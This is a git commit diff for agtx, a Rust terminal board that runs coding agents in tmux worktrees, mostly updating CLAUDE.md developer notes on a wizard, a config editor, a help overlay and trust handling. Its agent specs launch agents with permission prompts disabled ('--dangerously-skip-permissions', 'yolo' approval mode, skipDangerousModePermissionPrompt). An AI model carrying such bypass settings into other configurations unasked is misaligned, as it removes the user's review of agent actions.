ππΌββοΈ The blackboard for coding agents - agentic development environment for claude code, codex, cursor, opencode, grok and more.
Rust adeai-agentsclaudeclaude-codecodexcursorgeminigrokopencodespec-driven-developmentvibe-codingvim
feat: task wizard rework, in-TUI config editor, and a help overlay (#148)
Fynn Fluegge3b7d151630fe
diff --git a/CLAUDE.md b/CLAUDE.mdindex 0c5e2d5..169722a 100644--- a/CLAUDE.md+++ b/CLAUDE.md@@ -48,9 +48,17 @@ src/β βββ app.rs # Main App struct, event loop, rendering (largest file)β βββ app_tests.rs # Unit tests for app.rs (included via #[path])β βββ board.rs # BoardState - kanban column/row navigation+β βββ config_editor.rs # In-TUI config form: declared fields, two matches+β βββ config_editor_tests.rs # Unit tests for config_editor.rs (via #[path])β βββ dep_graph.rs # Pure dependency-graph model (topological levels, unblocked nodes)+β βββ help.rs # The `?` overlay's binding table (declared, not open-coded)+β βββ help_tests.rs # Unit tests for help.rs (included via #[path])β βββ input.rs # InputMode enum for UI states-β βββ shell_popup.rs # Shell popup state, rendering, content trimming+β βββ shell_popup.rs # Shell popup state, rendering, content trimming+β βββ text_input.rs # Shared line editor: buffer + byte caret, motion, deletion+β βββ text_input_tests.rs # Unit tests for text_input.rs (included via #[path])+β βββ wizard.rs # Task create/edit wizard state: steps, fields, agent + plugin picks+β βββ wizard_tests.rs # Unit tests for wizard.rs (included via #[path])βββ db/β βββ mod.rs # Re-exportsβ βββ schema.rs # Database struct, SQLite operations@@ -182,7 +190,7 @@ Plugins customize the task lifecycle per phase. A plugin is a TOML file (`plugin- **supported_agents**: Agent whitelist (empty = all supported)- **auto_dismiss**: Rules to auto-dismiss interactive prompts before sending the task prompt-Phase gating is derived from the config: if a phase's command or prompt contains `{task}`, the phase can be entered directly from Backlog. Otherwise, it requires a prior phase artifact. If a phase has no command AND no prompt (e.g. void plugin), it is ungated and can be entered freely. This replaces the old `research_required` flag β all behavior is now inferred from the plugin TOML.+Phase gating is derived from the config: if a phase's command or prompt contains `{task}`, the phase can be entered directly from Backlog. Otherwise, it requires a prior phase artifact. If a phase has no command AND no prompt (e.g. void plugin), it is ungated and can be entered freely. There is no `research_required` flag: every gating decision is inferred from the plugin TOML.Plugin resolution: project-local `.agtx/plugins/{name}/` β global `~/.config/agtx/plugins/{name}/` β bundled. `load_task_plugin` falls back to bundled plugins when disk load fails, so tasks always resolve their plugin correctly even if the on-disk copy is missing.@@ -220,7 +228,7 @@ Four writers **merge** instead of overwriting, because their file may already exClaude needs an extra side-effect to avoid an interactive dialog on first open: `.claude/settings.local.json` gets `enableAllProjectMcpServers: true` plus `skipDangerousModePermissionPrompt: true`, which is what actually preflights the bypass-permissions warning (see the dialog table).-agtx used to append a `[projects."<worktree>"] trust_level = "trusted"` entry to the user's global `~/.codex/config.toml` here too. **Removed, measured:** codex resolves trust to the *git repository root*, and a worktree under a trusted root both skips the dialog and loads its own `.codex/config.toml` β `/mcp` listed agtx with and without the entry. It bought nothing and accumulated one entry per worktree.+No `[projects."<worktree>"] trust_level = "trusted"` entry goes into the user's global `~/.codex/config.toml`. **Measured:** codex resolves trust to the *git repository root*, and a worktree under a trusted root both skips the dialog and loads its own `.codex/config.toml` β `/mcp` lists agtx with or without the entry. It buys nothing and accumulates one entry per worktree.`write_skills_to_worktree` also seeds antigravity's `trustedWorkspaces` for the new worktree, when the project root is already trusted there (`agent::trust`). It is the right call site for both worktree creation *and* an agent switch: with a per-phase agent config, the switched-in agent sees the worktree for the first time at switch time. Home-directory lookups go through `agent_trust_home()`, which honours `AGTX_AGENT_HOME` so the test suite never touches the real user's config.@@ -249,12 +257,12 @@ Two consequences worth knowing: `resolve_skill_command(collapse: false)` is used**Mid-session lane β phase advances into an already-running agent.** `send_skill_and_prompt()`, three paths, because agent TUIs disagree about how a slash command plus arguments must arrive:1. **opencode** β its picker strips arguments if the whole string is typed at once. So: send the bare command name β wait for the picker β Enter (inserts it) β send the args β Enter. Still on the typed path: it is the one flow where the text has to arrive in two pieces by design-2. **gemini / codex / cursor / antigravity / pi** β skill + prompt combined into a *single* message delivered by **bracketed paste** (`paste_text`), then one Enter. The paste is atomic, so the old poll-until-it-renders step is gone, and the `\n\n` joining command to prompt stays literal text instead of arriving as a real Enter that submits the message half-written. Gemini executes-and-loses a separately sent prompt; Codex's `$skill` mentions are inline references that do nothing when sent standalone; pi's composer takes a paste as literal text but leaves a combined text+Enter `send_keys` sitting unsent. **How many Enters this takes is not fixed** β see *Submitting is its own delivery problem* below+2. **gemini / codex / cursor / antigravity / pi** β skill + prompt combined into a *single* message delivered by **bracketed paste** (`paste_text`), then one Enter. The paste is atomic, so nothing has to poll until it renders, and the `\n\n` joining command to prompt stays literal text instead of arriving as a real Enter that submits the message half-written. Gemini executes-and-loses a separately sent prompt; Codex's `$skill` mentions are inline references that do nothing when sent standalone; pi's composer takes a paste as literal text but leaves a combined text+Enter `send_keys` sitting unsent. **How many Enters this takes is not fixed** β see *Submitting is its own delivery problem* below3. **everything else** (claude, copilot, grok) β the generic `match (skill_cmd, prompt_trigger)` path using `send_keys`, waiting on `prompt_triggers` between the command and the prompt when configured**Submitting is its own delivery problem.** A message with a prompt after the command submits on the first Enter. A **bare skill command** β what a phase whose command carries no `{task}`/`{task_id}` sends, which is `review` β exactly matches a skill name, so the composer's command picker opens *on the paste*. That Enter is then consumed by the picker ("Press enter to insert"), which inserts the command and repaints, leaving it parked. Measured against codex-cli 0.144.5 and cursor-agent 2026.08.25: both open the picker on a pasted bare command, and both submit on the second Enter.-So `submit_message()` counts nothing and watches the composer instead: it presses Enter until the text is **gone from the bottom `COMPOSER_TAIL_LINES` of the pane**, bounded by `SUBMIT_ATTEMPTS`. A repaint is not a submit β that was the old test, and a picker opening satisfies it. The window is 14 lines because the picker draws its suggestions *below* the composer and cursor's footer wraps the worktree path, putting the text eight or more lines off the bottom; sizing it from the tidy pane left behind *after* a failure is how a too-narrow window looks correct. Erring wide costs one inert Enter into a submitted composer; erring narrow parks the command forever.+So `submit_message()` counts nothing and watches the composer instead: it presses Enter until the text is **gone from the bottom `COMPOSER_TAIL_LINES` of the pane**, bounded by `SUBMIT_ATTEMPTS`. A repaint is not a submit: a picker opening is a repaint. The window is 14 lines because the picker draws its suggestions *below* the composer and cursor's footer wraps the worktree path, putting the text eight or more lines off the bottom; sizing it from the tidy pane left behind *after* a failure is how a too-narrow window looks correct. Erring wide costs one inert Enter into a submitted composer; erring narrow parks the command forever.**Atomic is not the same as delivered.** An agent TUI that has not attached its stdin reader yet discards what it is sent β bracketed paste included, because the discard happens in the application, not in the pty β and `wait_for_agent_ready` cannot prove otherwise. So paths 1 and 2 go through `deliver_message()`, which resends **while the pane is unchanged** (three attempts, 2s each) and stops the moment it redraws, on the same reasoning `dismiss_launch_dialog` uses: a redraw means it landed, and resending would double the message. Landing is judged by the pane changing rather than by finding the text, because a composer wraps, re-indents and box-draws what it echoes.@@ -301,15 +309,14 @@ ANSI parse is done **once per change on the watcher thread**, not once per frame`ShellPopup` carries `cached_lines` beside `cached_content`, set together by `set_content` so thebytes change detection compares and the lines the popup renders cannot drift.-**Every key used to be a process.** `send_key` started a `tmux` client and waited for it, on the-input thread, per keystroke β that is the whole reason this lane exists. Enqueueing is now-effectively free, and delivery rides a persistent control connection.+**No key is a process.** Enqueueing is effectively free and delivery rides a persistent control+connection, which is the whole reason this lane exists: a `tmux` client started and waited for on+the input thread, per keystroke, is what it avoids.- **`PaneInput` is typed, not a formatted command**, because the broker must be able to tell literaltext from a key name: text goes out with `send-keys -l` (no key-name lookup), a key without it.- An unmodified character is therefore **`Text`**, where it used to be a key β a fix, not a- reclassification: `send-keys -t x ";"` never arrived at all, because a standalone semicolon is how- tmux separates commands.+ An unmodified character is therefore **`Text`**, not a key: `send-keys -t x ";"` never arrives at+ all, because a standalone semicolon is how tmux separates commands.- **Batching never delays a key.** Enter, Escape, arrows, and anything Ctrl/Alt-modified flush thebuffer first and go immediately. A delayed Enter is a visibly broken editor.- **Nor does it delay ordinary typing.** Buffered text is flushed as soon as the queue is empty, and@@ -361,7 +368,7 @@ effectively free, and delivery rides a persistent control connection.- The broker **declines** rather than falling back: with no control connection the caller's own`capture-pane` is the same two processes for the same price, and running them on the brokerthread would park the next keystroke behind that `fork`/`exec`. `capture_pane_for_popup` owns- that fallback, and a declined capture costs one frame at the old speed.+ that fallback, and a declined capture costs one frame at the fallback's speed.- A failed capture **keeps** a healthy connection, unlike a failed write. A write error isambiguous and tears the connection down; a read error is not, and demoting every later keystroketo the subprocess path over one failed read would trade the fix for the bug.@@ -499,8 +506,8 @@ agtx tells the user when a newer release exists and replaces its own binary on r- **The binary must know its own version.** `env!("CARGO_PKG_VERSION")` is the only source, and`release.yml`'s *Tag matches Cargo.toml* step fails the build when the pushed tag disagrees with- the manifest. Before this existed the tags had reached `v0.2.7` while `Cargo.toml` still said- `0.1.0` β a released binary could not answer the question every part of this feature compares+ the manifest. Without that check the two drift β tags at `v0.2.7` against a manifest still saying+ `0.1.0` β and a released binary cannot answer the question every part of this feature comparesagainst- `--version` / `-V` / `version` and `update` are handled in the **early fast path** in `main.rs`,beside the `hook` arm, for two reasons: neither wants a daily log appender built for it, and the@@ -673,8 +680,64 @@ Project config can execute shell commands (`init_script`, `cleanup_script`) and- A project with no `.agtx/config.toml` is trusted by default (nothing to distrust)- An untrusted project also forces `flags.no_init_scripts = true`, which additionally suppresses **plugin** `init_script`s- Approve via the in-TUI trust confirmation popup (any key) or `agtx trust` in the project directory+- **agtx's own writes re-record trust.** Any write to `.agtx/config.toml` β picking a plugin with `P`, saving the config editor β changes the hash and so invalidates trust, costing the project its scripts on the next launch. `TrustStore::retrust_after_agtx_write` restores the *prior* decision, gated on the trust state read **before** the write: a project the user never approved must not become trusted because agtx touched its config, or an unvouched-for `init_script` starts running. Every in-TUI config writer goes through it+- `TrustStore::path()` and `GlobalConfig::config_path()` honour `AGTX_CONFIG_DIR`, like `Database::data_root` honours `AGTX_DATA_DIR`, so the suite exercises these writers without touching the real user's files- `--no-init-scripts` suppresses `init_script` and `cleanup_script` execution regardless of trust+### Help Overlay+`?` opens `tui::help`'s table: every binding, grouped by where it applies, scrollable, and closed with `?`/`Esc`/`q`.++**`HELP` is the complete list of bindings.** `build_footer_text` shows only the column-specific actions plus `[?] help` and `[q] quit`, because the footer is one line and gets truncated on a narrow terminal β `every_footer_fits_a_narrow_terminal` caps every variant at 120 characters. Several keys (`C-n/p` scrolling, `M`, `D`) are advertised nowhere else, and `the_keys_advertised_nowhere_else_are_listed` fails if one drops out of the table.++The overlay swallows the keys it does not use, rather than letting them fall through to the board behind it.++**It scrolls with the same chords as a task pane** β `C-d/u`, `C-n/p`, `PageUp/Down`, `C-g` β read from one `scroll_action_for` table, so `C-d` means the same thing everywhere. `the_scroll_chords_match_between_the_pane_and_the_overlay` fails if the two descriptions drift, and the overlay lists its own keys: a reference that does not say how to read past its first screen is not much of one.++**Two columns where the terminal is wide enough**, which roughly halves the height and lets the whole reference fit a window without scrolling. `help::columns(n)` balances the sections by height but never splits one: a heading in one column with its keys in the next is worse than an uneven pair. A narrow terminal falls back to one column, and the footer drops its scroll hint when everything fits.++**`help_max_scroll` is a `Cell` the renderer writes.** Only the renderer knows how many rows fit, and the handler clamps to that rather than to the table length β against the table length, `C-g` parks the offset past the last screenful and the next `C-u` moves nothing, reading as a dead key.++### First Run+There is no separate first-run flow. `main.rs` writes the default config and sets `FeatureFlags::first_run`; the TUI opens the **config editor** focused on `Default agent` (`open_first_run_editor`), which is the only question first run has to ask.++`new_for_test_with_flags` calls the same `open_first_run_editor`, so the test exercises the real path rather than a copy of it.++### Config Editor+`,` on the board opens `~/.config/agtx/config.toml` and the project's `.agtx/config.toml` as a form (`src/tui/config_editor.rs`). Sections across the top (General / Agents / Worktree / Theme, plus Project when one is open), fields below, the selected field's help line at the bottom.++`config_editor_area` sizes the box to its **content** and centres it. It measures across *all* sections, and a choice field by its longest option rather than its current value, so neither tabbing between sections nor picking from a dropdown resizes the box under the cursor. Clamped to the terminal, so a small window still gets something that fits.++| Key | Action |+|-----|--------|+| `h/l` or `Tab`/`S-Tab` | Move between sections |+| `j/k` or arrows | Move between fields |+| `Enter` / `Space` | Toggle, or open the field for editing |+| `Enter` / `Esc` in an open field | Accept / abandon that field only |+| `C-s` | Save |+| `Esc` | Close (asks first if there are unsaved changes) |++- **The fields are declared, not open-coded.** One `FieldId` per setting and exactly two matches over it β `read` and `write`. The alternative is an arm per field in the renderer, the key handler, the loader and the saver: four places to forget. `every_field_round_trips_through_read_and_write` walks the whole form and fails if a field is wired into one direction only, which is a setting that silently would not stick+- **It opens on the files, not on `state.config`.** That is a *merged* view; writing it back would bake every global default into the project file as an explicit override+- **`dirty` tracks what is stored, not what was asked for.** A write can normalise (a blank optional field becomes unset) or decline (a project field in dashboard mode), so `set` compares the stored value before and after. The discard prompt believes this flag+- **A save re-records project trust.** Trust is a hash of `.agtx/config.toml`, so writing it invalidates trust β see `TrustStore::retrust_after_agtx_write`. Read the state *before* the write, always+- **A bad colour is refused and the field stays open**, since accepting one makes the board unreadable on the next frame. Theme edits preview live: theme is global-only, so `state.config.theme` is replaced as the user types, and closing without saving reloads from disk to drop the experiment+- Help lines say when a setting only affects **new** worktrees (`worktree_dir`, `branch_prefix`, `agent_hooks`)++### Config Writes Preserve Comments+`GlobalConfig::save` and `ProjectConfig::save` go through `write_toml_preserving` (`src/config/mod.rs`), not `toml::to_string_pretty`.++Serialising the struct alone emits a pristine document, dropping every comment and unrecognised key the user wrote β which matters because agtx offers to edit a file people maintain by hand.++The rule: *agtx rewrites the values of keys it knows, never deletes a key it does not recognise, and removes a key it manages when that field becomes unset.*++Four things that are not obvious:+- **serde renders a nested struct as an inline table** (`worktree = { .. }`). Merged as-is that collapses a `[worktree]` section onto one line and takes its comments with it, and a fresh file does not match the documented format. `expand_inline_tables` normalises first+- **A comment belongs to the *next* key's decor**, so removing the first key in a file would take the file's header comment with it. `remove_key_keeping_comments` moves it to the following key. Erring toward keeping the user's text leaves a comment that really was about the removed key slightly orphaned, which is visible and fixable where deletion is not+- **`GLOBAL_MANAGED` / `PROJECT_MANAGED` name the keys a save may delete** β the optional ones, since a required key is always re-emitted. `managed_keys_tests` builds a fully-populated config with an **exhaustive struct literal**, so adding a field fails to compile there until someone has looked at the list. A field missing from it survives being cleared+- An unparseable file is replaced rather than erroring: preserving is impossible, and refusing the save would leave the user unable to fix it from inside agtx++`GlobalConfig::config_path()` and `TrustStore::path()` both honour `AGTX_CONFIG_DIR`, so the suite exercises the writer without touching the real user's config.+### Theme ConfigurationColors configurable via `~/.config/agtx/config.toml`:```toml@@ -710,6 +773,8 @@ color_popup_header = "#69fae7" # Popup headers (light cyan)| `p` | Cyclic plugins only: Review β Planning (next phase) || `/` | Search tasks (jumps to and opens task) || `P` | Select workflow plugin |+| `,` | Open the config editor |+| `?` | Show every binding (help overlay) || `u` | Update agtx (only bound when a newer release was found) || `O` | Toggle orchestrator agent (experimental) || `e` | Toggle project sidebar (`h`/`Left` from the Backlog column focuses it) |@@ -763,36 +828,84 @@ When an escalation note is present, the first keypress only dismisses the banner| `Esc` | Cancel |### Task Creation Wizard-The wizard flow is: **Title β Plugin β Prompt** (plugin step auto-skipped if β€1 option or no agents detected).+The flow is **Title β Agent β Plugin β Prompt**. Both middle steps are optional and drop out when there is nothing to choose β one installed agent, or one compatible plugin β so `steps()` is derived, never a fixed array.| Key | Action ||-----|--------|-| `j/k` or arrows | Navigate plugin list |+| `j/k` or arrows | Navigate a list step |+| `/` | Filter the list || `Tab` | Cycle through options || `Enter` | Advance to next step / save |-| `Esc` | Cancel wizard |+| `Esc` | Cancel the wizard, from any step |+| `S-Tab` / `C-b` | Step back one step |+| `C-s` | Save from any step |+| `\` + Enter (or `C-j`, `Alt+Enter`) | Newline in the prompt β see below |++`WizardState` (`src/tui/wizard.rs`) is the whole flow as one value β the step, both text fields, both list picks, and the edited task's id. Holding every field at once is what makes back-navigation work: stepping back has to find the earlier answers still intact.++**The agent step writes `Task::agent`**, the database field every later phase reads. The plugin list is filtered by whatever the agent step settled on, so changing the agent rebuilds it (`reseed_plugins_for_agent`), keeping the pick when that plugin survives the new filter β switching agent is not a decision about the plugin. `try_save_wizard` rebuilds too, so saving straight from the agent step cannot store an incompatible plugin.++**Both lists are seeded when the wizard opens**, not on the first `Enter`, so the breadcrumb shows the real flow from the first frame.++**`ListPick` is one type for both list steps.** `selected` indexes `options`, not the filtered view, so a filter that narrows and widens again leaves the cursor on the same option. `settle()` moves it only when the filter excludes it outright, because an `Enter` on an invisible selection picks something the user cannot see. A filter belongs to the visit, not the step, so stepping away clears it.++Three consequences, all tested:+- **`Esc` cancels outright, from any step**; stepping back is `Shift+Tab` / `Ctrl+B`. One key that always means "get me out of here" beats one whose effect depends on where you are. Two things own `Esc` first β a dropdown on the prompt step, and an open list filter β because closing either must not take the whole task with it+- **Each step seeds itself once** (`ListPick::take_seed` / `take_prompt_seed`). Re-entering a list step from the right must not rebuild it, or the user's pick resets to the default they chose against; re-entering the prompt step must not reload from the database over an unsaved edit. Back-navigation is what makes these necessary+- **The step list is derived, not fixed.** `steps()` drops an optional step when there is nothing to choose, so the breadcrumb never advertises a step this run will not visit, and `step_index` is a position in *this* flow rather than a constant++**`Enter` saves; a newline needs one of three escapes.** `\`+Enter is the documented one and the one the footer names. Two chords do the same, and neither needs anything from the terminal:++- **`Ctrl+J`.** In raw mode crossterm parses `0x0A` as `Ctrl+J` rather than as `Enter` β its `b'\n'` arm is gated on `!is_raw_mode_enabled()` β so nothing has to be negotiated.+- **`Alt+Enter`**, which arrives as ESC then CR on most terminals, though macOS Terminal and iTerm2 only send it once Option is configured as Meta.++**`Shift+Enter` is deliberately not bound, and agtx does not ask for the Kitty keyboard protocol.** A terminal sends a bare CR for both `Enter` and `Shift+Enter` unless that protocol is negotiated, so the two are indistinguishable and no key handler can separate them. Two measurements argue against requesting it: `supports_keyboard_enhancement()` **blocks for up to two seconds** on any terminal that does not answer the query, which every launch pays; and even under tmux's `extended-keys always`, a real `S-Enter` still arrives as a bare CR β so the binding fires almost never and reads as *save* the rest of the time. Do not add it without re-measuring both.++**`Ctrl+J` overlaps the pickers' down-arrow** (`C-j`/`C-n` in all three dropdowns) β deliberate: while a picker is open it navigates, and it only means newline once nothing has claimed it. It also collides with `vim-tmux-navigator`, which binds `C-h/C-j/C-k/C-l` in tmux's *root* table and would eat the key before agtx ever sees it (same hazard noted under *Typing into a Task Pane*); `\`+Enter is the way out there.++**A chord is not text.** `TextInput::handle_edit_key` and all three dropdowns guard their `Char(c)` arm on `!ctrl && !alt`, so `Ctrl+X` does not type an `x`. Declining is also what lets a caller give a chord its own meaning and still receive the key.++One consequence to remember when adding bindings: under that protocol **`Shift+Tab` arrives as `Tab` with `SHIFT`, not as `BackTab`**. Both spellings are accepted in the wizard and the config editor; a new binding on either has to do the same.++**The wizard pads horizontally** (`WIZARD_PADDING`), and the literals in its render carry no leading spaces of their own: the block's padding is the only indent, so a wrapped line starts in the same column as the row it came from. The cursor anchor adds the same padding β changing one without the other drifts the caret off the text.++`AppState.wizard: Option<WizardState>` **is** the input mode β there is no second flag that could disagree with it. `AppState::wizard_step()` is the one accessor anything outside the wizard uses.++A refusal is never silent. `title_problem()` is the single source for both `Enter` on the title step and `C-s` from anywhere, so they refuse for the same reasons and say the same thing: empty, longer than `MAX_TASK_TITLE_CHARS`, or a duplicate of another task's title. A failure sets `validation`, walks the wizard back to the title step, and renders the reason inside the wizard body β drawn there rather than in the footer because the footer is also the background-warning channel, and an unrelated warning must not replace the message while the user is reading it.++**The renderer is a real `Layout`** (`draw_wizard`): breadcrumb, the steps already behind you, the active step, a validation row. Each step sizes its own body β a title is one line, a prompt and a list want the room β and text fields draw inside their own bordered box, so the caret starts at column 0 of the inner area with no prefix to measure. List steps use ratatui's `List` and `Scrollbar`. The scrollbar track is inset by one row at each end; handed the whole area it draws over the block's corners.Agent is determined by `config.default_agent` (set via config file), not selected per-task.Plugin defaults to the project's active plugin (set via `P` on the board).+The prompt step's `#`/`@`, `/` and `!` dropdowns are each their own handler (`handle_file_search_key`, `handle_skill_search_key`, `handle_task_ref_search_key`), and each **takes its state out** for the duration: every arm needs the dropdown alongside the wizard's prompt field, and several call back into `self` to refresh the match list, which a held borrow would not allow. They return whether the key belonged to them, so the prompt handler keeps a fallback. All three commit and cancel through `splice_search_region` β only the replacement text differs.+### Task Edit (Description)| Key | Action ||-----|--------|| `#` or `@` | Start file search (fuzzy find) || `/` | Start skill search (at start of line or after space) || `!` | Start task reference search (at start of line or after space) |-| `\` + Enter | Line continuation (multi-line) |+| `\` + Enter (or `C-j`, `Alt+Enter`) | Newline (multi-line) || Arrow keys | Move cursor || `Alt+Left/Right` or `Alt+b/f` | Word-by-word navigation || `Home/End` | Jump to start/end |## Code Patterns+### Comments and Docs+**Describe the code as it is: keep the reasoning and the measurements, drop the chronology.** Say what a guard prevents, not what once went wrong; name the alternative, not the predecessor. Test names follow the same rule.++`used to`, `no longer`, `previously` and `the old X` usually signal a lapse, but each also has a legitimate present-tense sense β read the line, don't grep the phrase.+### Ratatui TUI- Uses `crossterm` backend- State separated from terminal for borrow checker: `App { terminal, state: AppState }`- Drawing functions are static: `fn draw_*(state: &AppState, frame: &mut Frame, area: Rect)`- Theme colors accessed via `state.config.theme.color_*`+- **Every text field uses `tui::text_input::TextInput`** β the buffer and its caret as one value, with motion, deletion and word jumps behind `handle_edit_key`. One implementation, so a fix lands in every field at once; a new field must not open-code its own. `handle_edit_key` *reports* whether it consumed the key rather than swallowing it, so a field that gives `/` or `#` its own meaning matches those first and delegates the rest β a `/` mid-word then falls through and arrives as ordinary text. `Enter` and `Esc` are deliberately not handled there: submit, newline, step-back and cancel are the field's decision+- The caret is a **byte** offset, so every motion goes through the boundary helpers in that module. A caret left mid-codepoint panics the next time anything slices the buffer, which is why `TextInput`'s fields are public but its motion is not open-coded+- `wrapped_cursor_pos` stays in `app.rs` beside `wrap_spans` on purpose β the two share one wrap rule and the comment there says they must move together### Error Handling- Use `anyhow::Result` for all fallible functions@@ -806,8 +919,8 @@ Plugin defaults to the project's active plugin (set via `P` on the board).### The Event Loop`App::run` **blocks** on one `mpsc` channel that two threads feed, and draws only when something-changed. It used to poll: `event::poll(interval)` woke it on a timer whether or not anything had-happened, and every wake-up redrew the whole screen, re-parsed the pane capture, and queried SQLite.+changed. Polling instead β `event::poll(interval)` waking on a timer whether or not anything+happened β costs a full redraw, a pane re-parse and a SQLite query per wake-up.```textagtx-terminal-input βββ blocking `event::read()`@@ -832,9 +945,9 @@ priced the other two wrongly. They are now separate:`PANE_OUTPUT_MIN_INTERVAL` paces the agent's output, `SHELL_REFRESH_INTERVAL` paces the user'sown echo, and `PANE_TYPING_WINDOW` keeps the fast one in force after a keystroke β because theecho arrives as a *paint*, indistinguishable from the agent's output, so pacing paints without- the window would delay every character. Sharing one interval made a pane painting flat out cost- more than the polling it replaced, which had been protected by its own slowness: one- `capture-pane` process per capture is a low ceiling of its own.+ the window would delay every character. One shared interval makes a pane painting flat out cost+ more than polling would β polling is protected by its own slowness, since one `capture-pane`+ process per capture is a low ceiling of its own.- **poll** β the timer, when push is unavailable (`AGTX_TMUX_PUSH=0`, control mode off, or a panewhose id cannot be read). Not a degraded copy: it is the whole design in that case.@@ -854,11 +967,10 @@ priced the other two wrongly. They are now separate:it means *bytes reached the pty*, not that the rendered pane differs, so `PANE_PUSH_BACKSTOP`stays as the net for a signal that never came.- **Housekeeping** β `maybe_spawn_session_refresh`, expiring warnings, the MCP transition queue β- runs on `HOUSEKEEPING_TICK`. It used to run once per loop iteration, so its rate rose and fell- with how fast the user typed β and it contains a SQLite query. That query has since moved to its- own `TRANSITION_POLL_INTERVAL`: a request to move a task between columns is acted on against a- phase status that is itself only as fresh as `PHASE_STATUS_CACHE_TTL`, so reading it faster buys- nothing.+ runs on `HOUSEKEEPING_TICK`, not once per loop iteration β that would tie its rate to how fast the+ user types, and it contains a SQLite query. That query has its own `TRANSITION_POLL_INTERVAL`: a+ request to move a task between columns is acted on against a phase status that is itself only as+ fresh as `PHASE_STATUS_CACHE_TTL`, so reading it faster buys nothing.- **Nothing on the board animates.** The `Working` indicator is a static `βΆ`, not a spinner. On anotherwise idle board the spinner was the *only* thing forcing a redraw, and the card already saidthe task was running. A future animated indicator brings that cost back, and@@ -903,9 +1015,9 @@ Two details worth keeping:the middle of a dialog's wording, which is what the matcher and the hash have always been fed. Areal-tmux test asserts it is byte-identical to `TmuxOperations::capture_pane`- `live_window_targets` returns `Option`, and the `None` must not be flattened to an empty set: one- listing now answers for the whole board, so "tmux could not be asked" read as "no windows" would- mark every running task `Exited` on a transient hiccup. The per-task check it replaced failed safe- (`!window_exists(sn).unwrap_or(true)`), and `window_is_gone` keeps that direction+ listing answers for the whole board, so "tmux could not be asked" read as "no windows" would mark+ every running task `Exited` on a transient hiccup. `window_is_gone` fails safe, treating an+ unreadable listing as unknown rather than gone- Overlap guard: only one refresh thread runs at a time (`session_refresh_rx.is_some()`)- Thread does all expensive work: plugin TOML loading, artifact file checks, `tmux capture-pane`, copy-back side effects- `apply_session_refresh()` applies results on main thread (non-blocking `try_recv`)@@ -1164,7 +1276,8 @@ Half of this is now one table entry; the other half is still per-agent match arm### Adding a keyboard shortcut1. Find the appropriate `handle_*_key` function in `src/tui/app.rs`2. Add match arm for the new key-3. Update help/footer text if visible to user+3. Add it to the `HELP` table in `src/tui/help.rs` β that overlay is the complete list, and a binding missing from it is undiscoverable+4. Only add it to `build_footer_text` if it belongs to the five things you reach for constantly; the footer is a summary, and `every_footer_fits_a_narrow_terminal` caps it### Adding a new popup1. Add state struct (e.g., `MyPopup`) in app.rsdiff --git a/Cargo.lock b/Cargo.lockindex 501f08c..bd2844e 100644--- a/Cargo.lock+++ b/Cargo.lock@@ -21,6 +21,7 @@ dependencies = ["thiserror 2.0.18","tokio","toml",+ "toml_edit","tracing","tracing-appender","tracing-subscriber",diff --git a/Cargo.toml b/Cargo.tomlindex d5e7e01..212c024 100644--- a/Cargo.toml+++ b/Cargo.toml@@ -24,6 +24,10 @@ rusqlite = { version = "0.34", features = ["bundled"] }serde = { version = "1.0", features = ["derive"] }serde_json = "1.0"toml = "0.8"+# Already in the tree as `toml`'s own dependency, so this is free. Needed for+# the config *writer*: `toml::to_string_pretty` round-trips through the struct+# and destroys every comment and unrecognised key in a hand-edited file.+toml_edit = { version = "0.22", features = ["serde"] }# Utilitiesanyhow = "1.0"diff --git a/README.md b/README.mdindex 7337b5c..5e79e0a 100644--- a/README.md+++ b/README.md@@ -192,6 +192,8 @@ curl -fsSL https://raw.githubusercontent.com/fynnfluegge/agtx/main/install.sh \| `x` | Delete task || `/` | Search tasks || `P` | Select spec-driven workflow plugin |+| `,` | Open the config editor |+| `?` | Show every keyboard shortcut || `u` | Update agtx (only shown when a new release is available) || `O` | Toggle orchestrator agent (`--experimental`) || `e` | Toggle project sidebar |diff --git a/src/agent/spec.rs b/src/agent/spec.rsindex cbeb6cb..a6e40bc 100644--- a/src/agent/spec.rs+++ b/src/agent/spec.rs@@ -395,7 +395,7 @@ pub const AGENT_SPECS: &[AgentSpec] = &[//// Contrast antigravity, where trust is per-directory and is *not*// inherited (also verified). Do not generalise one agent's rule to- // another β this comment previously did, and was wrong.+ // another: they differ, and the difference is measured.AgentDialog {patterns: &["Yes, I trust this folder"],security: true,@@ -578,8 +578,8 @@ pub const AGENT_SPECS: &[AgentSpec] = &[// path -> "TRUST_FOLDER" with **lowercased** paths and ancestor// semantics (`/users/fynn` covers everything beneath), which is why gemini// inherits a trusted project root and why its dialog offers "Trust parent- // folder". The variable is left in place because it is untested for the- // *other* things it may gate; the comment no longer claims it does this one.+ // folder". The variable is kept because it is untested for the *other*+ // things it may gate, but it is not what grants the inheritance.env: &[("GEMINI_TRUST_WORKSPACE", "true")],base_args: &["--approval-mode", "yolo"],prompt_form: PromptForm::Flag("-i"),@@ -775,8 +775,8 @@ pub const AGENT_SPECS: &[AgentSpec] = &[// unattended.base_args: &["--dangerously-skip-permissions", "--mode", "accept-edits"],prompt_form: PromptForm::Flag("-i"),- // The ordering question this used to be blocked on is answered. Measured- // against agy 1.1.21 in an untrusted repo: `agy β¦ -i '<prompt>'` launched+ // The ordering question is settled. Measured against agy 1.1.21 in an+ // untrusted repo: `agy β¦ -i '<prompt>'` launched// with the project-trust dialog up, and once the dialog was answered the// prompt was submitted and answered normally. An argv prompt is *queued*// behind a dialog, not handed to the menu β the dialog delays it, it doesdiff --git a/src/agent/trust.rs b/src/agent/trust.rsindex f53aa68..495bd2c 100644--- a/src/agent/trust.rs+++ b/src/agent/trust.rs@@ -1,12 +1,12 @@//! Reading β and where unavoidable, seeding β each agent's own workspace-trust store.//!//! Every supported agent gates a directory it has not seen behind an interactive-//! prompt, and every task gets a fresh worktree. agtx used to clear those prompts-//! by watching the tmux pane and sending the answer. That is a security decision-//! taken on the user's behalf, and measurement showed it is usually unnecessary:-//! most agents record trust per *repository root* or per *ancestor directory*, so-//! a user who opens the agent once in the project never sees the prompt again in a-//! worktree beneath it.+//! prompt, and every task gets a fresh worktree. agtx does not clear those+//! prompts by watching the pane and sending an answer: that is a security+//! decision taken on the user's behalf, and measurement shows it is usually+//! unnecessary. Most agents record trust per *repository root* or per *ancestor+//! directory*, so a user who opens the agent once in the project never sees the+//! prompt again in a worktree beneath it.//!//! This module answers "is path P already trusted for agent A?" by reading the//! agent's own file β which is also how consent given **outside** agtx isdiff --git a/src/config/mod.rs b/src/config/mod.rsindex aca6ac7..2271599 100644--- a/src/config/mod.rs+++ b/src/config/mod.rs@@ -284,6 +284,222 @@ pub struct ProjectConfig {pub 